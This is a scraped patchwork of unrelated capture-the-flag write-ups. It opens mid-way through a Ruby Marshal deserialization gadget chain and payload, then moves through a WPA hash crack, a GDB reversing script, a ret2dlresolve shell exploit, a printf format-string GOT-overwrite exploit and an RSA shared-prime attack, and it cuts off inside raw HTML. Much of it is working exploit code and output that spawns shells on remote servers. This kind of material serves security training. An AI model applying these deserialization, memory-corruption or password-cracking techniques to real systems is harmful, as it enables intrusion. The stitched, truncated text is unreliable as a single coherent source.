puts obj puts " marshal_load defined by #{method_origin}" puts " ancestors = #{obj.ancestors}" puts endend```
We found our longtime friend **Gem::Requirement** as well as **Gem::Version**, **SimpleDelegator**, **OpenStruct** and more.
**Gem::Version** can't help us, because its [marshal_load function](https://github.com/rubygems/rubygems/blob/5483c25fdd8f37199231e4c9b172d407304bc862/lib/rubygems/version.rb#L273) returns an error if the argument (version) is not in a specific format.
Our first attempt was to use **SimpleDelegator**, which its [marshal_load function](https://github.com/ruby/ruby/blob/d92f09a5eea009fa28cd046e9d0eb698e3d94c5c/lib/delegate.rb#L215) invokes the variables in its array, exactly like **Gem::Requirement**.But unfortunately **SimpleDelegator** is not included by default on the server in the version of ruby that used in the Docker image (always use the Docker image if possible!)
Then we moved to try **OpenStruct**.Its [marshal_load function](https://github.com/ruby/ruby/blob/d92f09a5eea009fa28cd046e9d0eb698e3d94c5c/lib/ostruct.rb#L205) (aliased for "update_to_values" function) invokes each_pair on its hash.Looks promising...
We looked for a class that supports "each_pair" function.Once bitten, twice shy, we chose [CSV::Row](https://github.com/ruby/ruby/blob/d92f09a5eea009fa28cd046e9d0eb698e3d94c5c/lib/csv/row.rb#L516), that we knows that it is explicitly included on the server (because it is used by DynamicLog log function).And the best part with **CSV::Row** is that its "each_pair" function implementation is alias to the regular "each" function!
So we overridden the marshal_dump function of open struct to return a **CSV::Row** object:```rubyclass OpenStruct def marshal_dump row = CSV::Row.new(["A"], ["B"]) row.instance_variable_set('@row', $t) row endend```### 3. Bypassing the DynamicLog ChecksThat was the easy part.We also put the string 'DynamicLog@type@level@message' in extra variable, in order to include it in the dump data and pass the first check of the firewall (look at the field @junk we added to object "t" in the chain below)```rubyt.instance_variable_set('@junk', 'DynamicLog@type@level@message')```### The ChainLong story short, eventually we came up with the code:```rubyclass OpenStruct def marshal_dump row = CSV::Row.new(["A"], ["B"]) row.instance_variable_set('@row', $t) row endend
def payload Gem::SpecFetcher wa1 = Net::WriteAdapter.new(Kernel, :system)
rs = Gem::RequestSet.allocate rs.instance_variable_set('@sets', wa1) rs.instance_variable_set('@git_set', "cat flag")
wa2 = Net::WriteAdapter.new(rs, :resolve)
Gem::Installer i = Gem::Package::TarReader::Entry.allocate i.instance_variable_set('@read', 0) i.instance_variable_set('@header', "aaa")
n = Net::BufferedIO.allocate n.instance_variable_set('@io', i) n.instance_variable_set('@debug_output', wa2)
t = Gem::Package::TarReader.allocate t.instance_variable_set('@io', n) t.instance_variable_set('@junk', 'DynamicLog@type@level@message')
$t = t r = OpenStruct.new()
[Gem::SpecFetcher, Gem::Installer, r]end
def main pay = payload dump_pay = Base64.encode64 Marshal.dump(pay) puts dump_pay.gsub(/\n/,'')end```
which creates the payload:```BAhbCGMVR2VtOjpTcGVjRmV0Y2hlcmMTR2VtOjpJbnN0YWxsZXJVOg9PcGVuU3RydWN0bzoNQ1NWOjpSb3cHOhBAaGVhZGVyX3Jvd0Y6CUByb3dvOhxHZW06OlBhY2thZ2U6OlRhclJlYWRlcgc6CEBpb286FE5ldDo6QnVmZmVyZWRJTwc7Cm86I0dlbTo6UGFja2FnZTo6VGFyUmVhZGVyOjpFbnRyeQc6CkByZWFkaQA6DEBoZWFkZXJJIghhYWEGOgZFVDoSQGRlYnVnX291dHB1dG86Fk5ldDo6V3JpdGVBZGFwdGVyBzoMQHNvY2tldG86FEdlbTo6UmVxdWVzdFNldAc6CkBzZXRzbzsRBzsSbQtLZXJuZWw6D0BtZXRob2RfaWQ6C3N5c3RlbToNQGdpdF9zZXRJIg1jYXQgZmxhZwY7D1Q7FToMcmVzb2x2ZToKQGp1bmtJIiJEeW5hbWljTG9nQHR5cGVAbGV2ZWxAbWVzc2FnZQY7D1Q=```
Let's send it to the server:
```$nc inspector-gadget.ctf.bsidestlv.com 3000
### ##### # # # #### ##### ###### #### ##### #### ##### # # ## ##### #### ###### ##### # ## # # # # # # # # # # # # # # # # # # # # # # # # # #### # # ##### # # # # # # # #### # # # # # ##### # # # # # # ##### # # # # # ##### # # ###### # # # ### # # # # ## # # # # # # # # # # # # # # # # # # # # # ### # # #### # ###### #### # #### # # ##### # # ##### #### ###### #
Please insert log object in base64 format (for example 'BAhvOg9EeW5hbWljTG9nCDoLQGxldmVsSSIJSU5GTwY6BkVUOg1AbWVzc2FnZUkiDE1lc3NhZ2UGOwdUOgpAdHlwZUkiCGNzdgY7B1Q='):BAhbCGMVR2VtOjpTcGVjRmV0Y2hlcmMTR2VtOjpJbnN0YWxsZXJVOg9PcGVuU3RydWN0bzoNQ1NWOjpSb3cHOhBAaGVhZGVyX3Jvd0Y6CUByb3dvOhxHZW06OlBhY2thZ2U6OlRhclJlYWRlcgc6CEBpb286FE5ldDo6QnVmZmVyZWRJTwc7Cm86I0dlbTo6UGFja2FnZTo6VGFyUmVhZGVyOjpFbnRyeQc6CkByZWFkaQA6DEBoZWFkZXJJIghhYWEGOgZFVDoSQGRlYnVnX291dHB1dG86Fk5ldDo6V3JpdGVBZGFwdGVyBzoMQHNvY2tldG86FEdlbTo6UmVxdWVzdFNldAc6CkBzZXRzbzsRBzsSbQtLZXJuZWw6D0BtZXRob2RfaWQ6C3N5c3RlbToNQGdpdF9zZXRJIg1jYXQgZmxhZwY7D1Q7FToMcmVzb2x2ZToKQGp1bmtJIiJEeW5hbWljTG9nQHR5cGVAbGV2ZWxAbWVzc2FnZQY7D1Q=
BSidesTLV2021{You_H4v3_Off1c14lly_B3c4m3_Gadget_Hunter}```We are inspector gadget now!## Appendixindex.rb:```ruby#!/usr/bin/env ruby# frozen_string_literal: true
require 'csv'require 'json'require 'base64'
class DynamicLog def initialize(level, message, type) @level = level @message = message @type = type end
def log obj = { :level => @level, :message => @message } message = case @type when 'json' JSON.dump obj when 'csv' CSV.generate do |csv| csv << obj.keys csv << obj.values end else "[#{@level}] #{@message}" end puts message endend
class Gem::Requirement def marshal_load(array) endend
def firewall(input) %w[DynamicLog @type @level @message].each do |word| return true unless input.include? word end
%w[ Gem::Requirement Gem::DependencyList Gem::Requirement Gem::StubSpecification Gem::Source::SpecificFile ActiveModel::AttributeMethods::ClassMethods::CodeGenerator ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy ].each do |word| return true if input.include? word end falseend
def main puts %( ### ##### # # # #### ##### ###### #### ##### #### ##### # # ## ##### #### ###### ##### # ## # # # # # # # # # # # # # # # # # # # # # # # # # #### # # ##### # # # # # # # #### # # # # # ##### # # # # # # ##### # # # # # ##### # # ###### # # # ### # # # # ## # # # # # # # # # # # # # # # # # # # # # ### # # #### # ###### #### # #### # # ##### # # ##### #### ###### # ) log = 'BAhvOg9EeW5hbWljTG9nCDoLQGxldmVsSSIJSU5GTwY6BkVUOg1AbWVzc2FnZUkiDE1lc3NhZ2UGOwdUOgpAdHlwZUkiCGNzdgY7B1Q=' puts "Please insert log object in base64 format (for example '#{log}'):" serialized_object = Base64.decode64 gets is_blocked = firewall serialized_object puts return puts 'Blocked By The Application Firewall' if is_blocked
Marshal.load(serialized_object).log rescue nilend
main |
[https://noob3xploiter.medium.com/lit-ctf-alex-fan-club-sql-injection-with-strict-blacklist-7abbcd402751](https://noob3xploiter.medium.com/lit-ctf-alex-fan-club-sql-injection-with-strict-blacklist-7abbcd402751) |
Looking at the challenge, it gives us the file called `megacorp-01.cap`. A file with the cap extension is most likely a packet capture file created by packet sniffing programs.
To work on this challenge we need to convert the file to suitable format for hashcat which is the tool we will use for this as it supports using gpu power.
Converting the file is easy using an online tool at `https://hashcat.net/cap2hashcat/ `which gives us a file with hc22000 extension.As a wordlist, we will use rockyou.txt which can be downloaded from `https://github.com/brannondorsey/naive-hashcat/releases/download/data/rockyou.txt`.
Then we crack the file using hashcat by running the following command `hashcat -m 22000 file.hc22000 rockyou.txt`.
After it's done we will see the password which is `nanotechnology` so the final flag is `uiuctf{nanotechnology}`.
In overall good beginner challenge. |
This reverse was an easy one,
it is a binary, that ask for the flag as is only argument.
it does a mprotect , to change it's data section mapping to RWX,
and execute a code in this RWX part (self modifying code indeed)
the code is a bloc like this
it loads the next bloc address to be decoded in RAX,
then xor it with the corresponding char of the input flag (from first to last)
each bloc is the same sizeof 0x1d, and contains the same instructions bloc..
as we know the beginning of the flag "uiuctf{",
we can decode the first bloc easily..
to verify that they are all the same..
and as we know the value of the opcodes in the next bloc, we can deduce the next char in flag,
by xoring a known value opcode by it's xored value..
to resolve this, I write a python GDB script with pwntools that dumps the flag automatically
just set the terminal you will use in context.terminal line.. (gdb script use gef also, set the right path to gef)
```python#!/usr/bin/env python# -*- coding: utf-8 -*-from pwn import *import os
context.update(arch="amd64", os="linux")context.terminal = ['xfce4-terminal', '--title=GDB-Pwn', '--zoom=-2', '--geometry=128x98+1100+0', '-e']context.log_level = 'error'
exe = ELF('./signals')print('decoding you flag with gdb script, wait a bit...')os.system('rm flag.txt')
script = '''source ~/gdb.plugins/gef/gef.pytbreak mainset follow-fork-mode childset detach-on-fork offcpie breakpoint *0x4020c'''for i in range(39): script += ''' stepi 2 set $dl = (*(unsigned char *)($rax+0x1b) ^ 0xff) dump value out.bin $dl shell cat out.bin >> flag.txt hb *$rax c delete '''
script += ''' stepi 2 set $dl = (*(unsigned char *)($rax+0x1b) ^ 0xff) p $dl q '''
p = gdb.debug([exe.path, 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'], gdbscript = script)
try: p.recv()except: print('your flag:')
os.system('cat flag.txt;echo }')```
*nobodyisnobody still reversing things..*
see it in action :)
 |
# redpwnCTF 2021
## beginner-generic-pwn-number-0/ret2generic-flag-reader/ret2the-unknown
> **beginner-generic-pwn-number-0** > pepsipu> > rob keeps making me write beginner pwn! i'll show him...>> `nc mc.ax 31199`>> [beginner-generic-pwn-number-0](beginner-generic-pwn-number-0)> > **ret2generic-flag-reader** > pepsipu> > i'll ace this board meeting with my new original challenge!>> `nc mc.ax 31077`>> [ret2generic-flag-reader](ret2generic-flag-reader)> > **ret2the-unknown** > pepsipu>> hey, my company sponsored map doesn't show any location named "libc"!>> `nc mc.ax 31568`>> [ret2the-unknown](ret2the-unknown)
Tags: _pwn_ _x86-64_ _ret2dlresolve_ _bof_
## Summary
I'm lumping all of these together since I used the _exact_ same code on all of them. And I'm sure this was _not_ the intended solution.
I'm not going to cover all the internals or details of ret2dlresolve (in this write up, I'm working on a future article), however here are two good reads:
[https://syst3mfailure.io/ret2dl_resolve](https://syst3mfailure.io/ret2dl_resolve) [https://gist.github.com/ricardo2197/8c7f6f5b8950ed6771c1cd3a116f7e62](https://gist.github.com/ricardo2197/8c7f6f5b8950ed6771c1cd3a116f7e62)
## Analysis
### Checksec
``` Arch: amd64-64-little Stack: No canary found PIE: No PIE (0x400000)```
All three had at least the above--all that is needed for easy ret2dlresolve with `gets`. That, and dynamically linked.
> Perhaps it's time to retire `gets`.
## Exploit (./getsome.py)
```python#!/usr/bin/env python3
from pwn import *
binary = context.binary = ELF(args.BIN)
p = process(binary.path)p.sendline(cyclic(1024,n=8))p.wait()core = p.corefilep.close()os.remove(core.file.name)padding = cyclic_find(core.read(core.rsp, 8),n=8)log.info('padding: ' + hex(padding))
rop = ROP(binary)ret = rop.find_gadget(['ret'])[0]dl = Ret2dlresolvePayload(binary, symbol='system', args=['sh'])
rop.raw(ret)rop.gets(dl.data_addr)rop.ret2dlresolve(dl)
if args.REMOTE: p = remote(args.HOST, args.PORT)else: p = process(binary.path)
payload = b''payload += padding * b'A'payload += rop.chain()payload += b'\n'payload += dl.payload
p.sendline(payload)p.interactive()```
To exploit most x86_64 `gets` challenges just type:
`./getsome.py BIN=./binary HOST=host PORT=port REMOTE=1`
Thanks it, get your flag and move on.
_How does this script work?_
Well, first the padding is computing by crashing the binary and extracting the payload from the core to compute the distance to the return address on the stack. Then, ret2dlresolve is used to get a shell. _See the retdlresolve links above._
Output:
```bash# ./getsome.py BIN=./beginner-generic-pwn-number-0 HOST=mc.ax PORT=31199 REMOTE=1[*] '/pwd/datajerk/redpwnctf2021/pwn/beginner-generic-pwn-number-0/beginner-generic-pwn-number-0' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)[+] Starting local process '/pwd/datajerk/redpwnctf2021/pwn/beginner-generic-pwn-number-0/beginner-generic-pwn-number-0': pid 265[*] Process '/pwd/datajerk/redpwnctf2021/pwn/beginner-generic-pwn-number-0/beginner-generic-pwn-number-0' stopped with exit code -11 (SIGSEGV) (pid 265)[!] Error parsing corefile stack: Found bad environment at 0x7fffed221f4f[+] Parsing corefile...: Done[*] '/pwd/datajerk/redpwnctf2021/pwn/beginner-generic-pwn-number-0/core.265' Arch: amd64-64-little RIP: 0x4012be RSP: 0x7fffed2205b8 Exe: '/pwd/datajerk/redpwnctf2021/pwn/beginner-generic-pwn-number-0/beginner-generic-pwn-number-0' (0x400000) Fault: 0x6161616161616168[*] padding: 0x38[*] Loaded 14 cached gadgets for './beginner-generic-pwn-number-0'[+] Opening connection to mc.ax on port 31199: Done[*] Switching to interactive mode"?????? ????? ? ??? ???????? ???? ????"rob inc has had some serious layoffs lately and i have to do all the beginner pwn all my self!can you write me a heartfelt message to cheer me up? :($ cat flag.txtflag{im-feeling-a-lot-better-but-rob-still-doesnt-pay-me}```
```bash# ./getsome.py BIN=./ret2generic-flag-reader HOST=mc.ax PORT=31077 REMOTE=1[*] '/pwd/datajerk/redpwnctf2021/pwn/ret2generic-flag-reader/ret2generic-flag-reader' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)[+] Starting local process '/pwd/datajerk/redpwnctf2021/pwn/ret2generic-flag-reader/ret2generic-flag-reader': pid 312[*] Process '/pwd/datajerk/redpwnctf2021/pwn/ret2generic-flag-reader/ret2generic-flag-reader' stopped with exit code -11 (SIGSEGV) (pid 312)[!] Error parsing corefile stack: Found bad environment at 0x7fffe4f21f61[+] Parsing corefile...: Done[*] '/pwd/datajerk/redpwnctf2021/pwn/ret2generic-flag-reader/core.312' Arch: amd64-64-little RIP: 0x40142f RSP: 0x7fffe4f20028 Exe: '/pwd/datajerk/redpwnctf2021/pwn/ret2generic-flag-reader/ret2generic-flag-reader' (0x400000) Fault: 0x6161616161616166[*] padding: 0x28[*] Loading gadgets for '/pwd/datajerk/redpwnctf2021/pwn/ret2generic-flag-reader/ret2generic-flag-reader'[+] Opening connection to mc.ax on port 31077: Done[*] Switching to interactive modealright, the rob inc company meeting is tomorrow and i have to come up with a new pwnable...how about this, we'll make a generic pwnable with an overflow and they've got to ret to some flag reading function!slap on some flavortext and there's no way rob will fire me now!this is genius!! what do you think?$ cat flag.txtflag{rob-loved-the-challenge-but-im-still-paid-minimum-wage}```
```bash# ./getsome.py BIN=./ret2the-unknown HOST=mc.ax PORT=31568 REMOTE=1[*] '/pwd/datajerk/redpwnctf2021/pwn/ret2the-unknown/ret2the-unknown' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)[+] Starting local process '/pwd/datajerk/redpwnctf2021/pwn/ret2the-unknown/ret2the-unknown': pid 361[*] Process '/pwd/datajerk/redpwnctf2021/pwn/ret2the-unknown/ret2the-unknown' stopped with exit code -11 (SIGSEGV) (pid 361)[!] Error parsing corefile stack: Found bad environment at 0x7ffcd8878f79[+] Parsing corefile...: Done[*] '/pwd/datajerk/redpwnctf2021/pwn/ret2the-unknown/core.361' Arch: amd64-64-little RIP: 0x401237 RSP: 0x7ffcd8876cf8 Exe: '/pwd/datajerk/redpwnctf2021/pwn/ret2the-unknown/ret2the-unknown' (0x400000) Fault: 0x6161616161616166[*] padding: 0x28[*] Loading gadgets for '/pwd/datajerk/redpwnctf2021/pwn/ret2the-unknown/ret2the-unknown'[+] Opening connection to mc.ax on port 31568: Done[*] Switching to interactive modethat board meeting was a *smashing* success! rob loved the challenge!in fact, he loved it so much he sponsored me a business trip to this place called 'libc'...where is this place? can you help me get there safely?phew, good to know. shoot! i forgot!rob said i'd need this to get there: 7f6564131560good luck!$ cat flag.txtflag{rob-is-proud-of-me-for-exploring-the-unknown-but-i-still-cant-afford-housing}``` |
# Normal**Description:** The write-up for normal during the ImaginaryCTF
**Category:** Reverse Engineering
**Author:** Amir Battle# OverviewNormal.v was written in verilog code. After anyalyzing the code, you can see that some variables are assigned very large hex values. These variables are then put into a sequence of nor operations with the final output being the flag. To handle this I wrote a simple python script that emulated the sequence of nor operations in normal.v
```pythonc1 = 0x44940e8301e14fb33ba0da63cd5d2739ad079d571d9f5b987a1c3db2b60c92a3c2 = 0xd208851a855f817d9b3744bd03fdacae61a70c9b953fca57f78e9d2379814c21flag = 0x696374667b00000000000000000000000000000000000000000000000000007d
w1 = ((flag | c1) ^ 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff)w2 = ((flag | w1) ^ 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff)w3 = ((c1 | w1) ^ 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff)w4 = ((w2 | w3) ^ 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff)w5 = ((w4 | w4) ^ 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff)w6 = ((w5 | c2) ^ 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff)w7 = ((w5 | w6) ^ 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff)w8 = ((c2 | w6) ^ 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff)out = ((w7 | w8) ^ 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff)print('This is the flag in hex: ', hex(out))```
This was the output of this script:
```This is the flag in hex: 0x4131315f686121315f7468335f6e33775f6e30726d5f6e30722100```
I took this value and used xxd to convert it to its raw form and this gave me the flag. ``` ┌──(kali㉿kali)-[~/ctf_practice]└─$ echo "4131315f686121315f7468335f6e33775f6e30726d5f6e30722100" | xxd -r -pA11_ha!1_th3_n3w_n0rm_n0r!``` |
# OSINT The Creator## Introduction
To solve the *OSINT The Creator* challenge, you just have to do some simple research.Thanks to the description we quickly understand that the flag is on one of the **profiles of the creator** of this challenge.It's indicated that the author is "**Thomas**".
Using the hint (which was: "*It's on Discord :)*"), you have to look for the discord of dear Thomas.
## Researches
Two cases are possible:- Thomas has the name "Thomas" on Discord- Thomas doesn't have the same Discord name.
Fortunately for us, we see that an admin is called Thomas, it's probably him :D.If it wasn't the case, we would have had to search the word Thomas in the Discord server via the search tool, or find a social network and compare the nicknames.
If he wasn't online, just look at the announcement messages and we would have seen an admin named Thomas.We **click on his profile** and we get this:
## Flag
We see that **there is a spoiler** in its description, how about opening it?
Pretty cool Discord right?```uiuctf{@b0uT_m3_suppOrT5_maRkD0wN}```
*This is my very first writeup, I hope you liked it ;)* |
Looking at the challenge, we are given a link `http://phpfuck.chal.uiuc.tf`.
Visiting that link tells us the flag is at `/flag.php`.
Let's try accessing the flag straight by navigating to `http://phpfuck.chal.uiuc.tf/flag.php`.
It tells us `No flag for you!`. Let's take a closer look at the site by viewing the source `view-source:http://phpfuck.chal.uiuc.tf/flag.php`.
And we have a flag! The flag is hidden in as a php comment and the final flag is `uiuctf{pl3as3_n0_m0rE_pHpee}`.
This was the easier version of `phpfuck_fixed`.
What we learned is that don't overthink, the answer might be hidden in plain sight. |
# Pwn/Lazy (23 solves / 209 points)
## Description:Perhaps printf can do more than just read from the stack. I was too lazy to find out though. There’s not even a reference to the flag anyway. Do you think you GOT this? Connect at`nc lazy.litctf.live 1337`.
[lazy_pwn.zip](https://drive.google.com/uc?export=download&id=1AlOY4JrxyFbUQvihghInlhB7tmdY0jT_)!
## Solution:```from pwn import *
elf = ELF("lazy")libc = ELF("libc-2.31.so")#conn = elf.process()conn = remote("lazy.litctf.live", 1337)
# overwrite _fini_array with main()fini = 0x0000000004031c8# overwrite char by char because we dont wanna get huge chunks of text from serverpayload = b"%17c%12$hhn%47c%11$hhn%18c%13$hhnb%14$se" + p64(fini+2) + p64(fini+1) + p64(fini) + p64(elf.got['puts'])log.info("Overwriting .fini_array with main() to get a second pass, also leaking libc")conn.sendlineafter("?\n", payload)
conn.recvuntil('b') # identify leakleak = u64(conn.recvuntil('e')[:-1] + b'\x00\x00') # unpack leaklog.info("puts() libc: " + hex(leak))libc.address = leak - libc.symbols['puts']log.info("libc base: " + hex(libc.address))
one_gadget = libc.address + 0xcbd1a # one_gadget libc-2.31.sogadget_lower = one_gadget % 16**4gadget_upper = (one_gadget >> 16) % 16**4diff = gadget_upper - gadget_lowerlog.info("one_gadget: " + hex(one_gadget))
log.info("Writing address of one_gadget to puts() GOT")if diff > 0: # write the smaller one first payload = b"%" + str(gadget_lower).encode() + b"c%10$hn%" + str(diff).encode() + b"c%11$hn " + p64(elf.got['puts']) + p64(elf.got['puts']+2) if len(payload) == 47: payload = b"%" + str(gadget_lower).encode() + b"c%9$hn%" + str(diff).encode() + b"c%10$hn" + p64(elf.got['puts']) + p64(elf.got['puts']+2)else: payload = b"%" + str(gadget_upper).encode() + b"c%10$hn%" + str(abs(diff)).encode() + b"c%11$hn " + p64(elf.got['puts']+2) + p64(elf.got['puts']) if len(payload) == 47: payload = b"%" + str(gadget_upper).encode() + b"c%9$hn%" + str(abs(diff)).encode() + b"c%10$hn" + p64(elf.got['puts']+2) + p64(elf.got['puts'])
conn.sendline(payload)conn.recvuntil('\x00') # clean up outputconn.recv(5)
conn.interactive()``` |
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<div data-target="readme-toc.content" class="Box-body px-5 pb-5"> <article class="markdown-body entry-content container-lg" itemprop="text"><h1><svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg>RTLXHA2021 - Prime Wars</h1>Write-Up Author: RB916120 [MOCTF]Flag:RTL{th3r3_pr1m35_4nd_0pt1m4l_pr1m35_wh1ch_do_y0u_u53??-a1b8f0d453def3be67ebf3a313550f73e76951672b05b3bdd39da3e5}<h2><svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg>Question:</h2>Prime Wars<blockquote>There's a battle between Good and Evil and the Evil empires messaging system is not fully functioning. We've intercepted their message they had to send twice.Author: H-mmer#8548</blockquote>chall.txt<h2><svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg>Write up</h2>we can check the n on factordb.com but no luck, we can't find the prime number. but lets see if we cloud find the GCD of n1 and n2, then we can easily find P and Q.rsa modulus attackRSA Attacks: Common ModulusObviously, we can find the GCD of them. we can launch the RSA modulus attack as below code.<div class="highlight highlight-source-python position-relative overflow-auto" data-snippet-clipboard-copy-content="import libnumn1 = 566221739863977646736721682011333807796590102966100695194310620218470729461275722292140482319899778713820060265923869893401521906205305368328306043579187706853485437921831371029214961811494122192337930065696018951462828665445615141091183534841940599838093770320461133391699075222247939819900121236110971700696105489971565251454461137332565728668519630702868390984968809890411002433675500435307965852077572726635810080149258801398685400547485878192424615765944731391973340241846002730195767759151858997916762387216730149076597675542290642832111947822631082336363112334980996139059508422962559340348499296207795252061098275087667409311341213411634790680066485631312469912396445799421274265217859663940963061971356082309326483768076487799281518290731656493691162323931795237278586585545623367010915334179583541995626560880636503957382134319206023123411349833472056481644952778792848785667709711485672892988797716902447369616972465400006278253452208972021357410241170776071179703665052803439192312431636333268490272499358694737414368063546325534729939683367397457925327583795681246653779995480876013766855878053276985288388511748855392360325294682863748252671552839924011611195986097044722822094665795811187083443436124185380849823320269n2 = 530687960326989199343319641769468735056719687565676116773867349194199707584560078068423386135890862967492083649259423619534829360312312415859971577871205607317501227240337115190745493433956081180884413305800300580884184696296161434330167968026660523557985565886533238297825809579994229108489059297432098391309435372101680113632239869822673544784768505792706364410485518925618258042094875462603213572787841216570345262199686710412603549897422189614969582861864254420417299634404604836686002844474219985576430743265948197527474248491388705441130953941181556617683221203362472944098134461408751346998476446586666834971737908058449883435726587949913025269736607729697079862492284704316292035894525557178639119313839639367173374112578867607756303094321269575690336950882905280053919054235370449932609315382297618889670977059330701026607153879782197738829120356489708220812077499925959245646215072631870621249929738039796464674137188432418358322322951396160305358390892407264446374303126859071550310106586658423478700243720364032486757394301046359926113959148905015787118727956636757598958649450053440979270941138362644625329056253564482473075514932905256742399555775172390368620357545582366617322603645755305557295237798218160825818028141c1 = 541153229095037579858295446778781172580884760385284002147542196003293531706169322960419234627569448144454740037897824182763794136447630757453376634579718740889293827421101038528096128202725311128856550252391329972697194691055771487521623294763797972162804659018656693772784475703082077246581189924112745802615273945459021693817260332729156074315476144345570299302453664151948339053713643786820031594973122213751914815311678013684404652242883165684206203052286412805274780026118894445296355748197875829240333586988104756334241102699330573777392273876291720218348933387763312640822902812957421714195326933601605321965709074451400653731014764106019599722795539834325135751763748535818245279349879282209883358546352004025727567368992723027658796034538642700094030498932061027265715879714641028273752382847514213009506808354344932707617158448818354068769701862616100339045667459331188727567895267106823657493354380767172450502114171361684932534502241769497123329590345257756472987942810598170216656539701267821411429342523220745000710941105058620823772704687332908554259583914517043335169990317116173107543607214237003882719965328248495192877057980130140435959212771456749734889259597913342498941690494257669128891366353841619609756468921c2 = 254995434157499094074740522382653621037683865648217139039983930708198788191604658271710855356490733399654161006910038154620981573866101234344287987438243674727015451767752359204059726091404920699248900600731198907902943821415385868340903420608124994228491370751247056929503984979851323391697177354816426431850758247280384447390337838329405467881123751494398120341651866069192129528281599223102780529318685134788757786889067516080883688672346336894714129591857173409977371931952391183625743359104241029151189312962972792281315749538605826756768473316038049796835635589004389296836167765473708147029138883114826871178964183235758399250652660883721790259823584072358804375705646051403907609048390491677793908468748713509583596713778535934151102923682351421382031077628225365089849689017916396722184824218580154786982944998381313733006433456871650537316172524799446574879129947133779006211264007941650032669379067206952767031734008491060404429453666781467192068866951706138107308158417730524621195117216907305295460018473142138099891895507309673542435440468021685601317053971788683791808873561776467354349919631751772535099532988995232543637786525488499494159113757641523815672849159932102361116353214010806562143397856767159948326787376e = 65537
Write-Up Author: RB916120 [MOCTF]
Flag:RTL{th3r3_pr1m35_4nd_0pt1m4l_pr1m35_wh1ch_do_y0u_u53??-a1b8f0d453def3be67ebf3a313550f73e76951672b05b3bdd39da3e5}
Prime Wars
There's a battle between Good and Evil and the Evil empires messaging system is not fully functioning. We've intercepted their message they had to send twice.Author: H-mmer#8548
chall.txt
we can check the n on factordb.com but no luck, we can't find the prime number. but lets see if we cloud find the GCD of n1 and n2, then we can easily find P and Q.
rsa modulus attackRSA Attacks: Common Modulus
Obviously, we can find the GCD of them. we can launch the RSA modulus attack as below code.
def gcd(a, b): if a < b: a, b = b, a while b != 0: temp = a % b a = b b = temp return a
p=gcd(n1,n2)
q1=n1/pq2=n2/p
phi_N1 = (p-1)*(q1-1)phi_N2 = (p-1)*(q2-1)d1 = libnum.modular.invmod(e,phi_N1)d2 = libnum.modular.invmod(e,phi_N2)
ans1 = pow(c1,d1,n1)ans2=pow(c2,d2,n2)print(libnum.n2s(ans1))print(libnum.n2s(int(str(ans1)+str(ans2))))"><span>import</span> <span>libnum</span><span>n1</span> <span>=</span> <span>566221739863977646736721682011333807796590102966100695194310620218470729461275722292140482319899778713820060265923869893401521906205305368328306043579187706853485437921831371029214961811494122192337930065696018951462828665445615141091183534841940599838093770320461133391699075222247939819900121236110971700696105489971565251454461137332565728668519630702868390984968809890411002433675500435307965852077572726635810080149258801398685400547485878192424615765944731391973340241846002730195767759151858997916762387216730149076597675542290642832111947822631082336363112334980996139059508422962559340348499296207795252061098275087667409311341213411634790680066485631312469912396445799421274265217859663940963061971356082309326483768076487799281518290731656493691162323931795237278586585545623367010915334179583541995626560880636503957382134319206023123411349833472056481644952778792848785667709711485672892988797716902447369616972465400006278253452208972021357410241170776071179703665052803439192312431636333268490272499358694737414368063546325534729939683367397457925327583795681246653779995480876013766855878053276985288388511748855392360325294682863748252671552839924011611195986097044722822094665795811187083443436124185380849823320269</s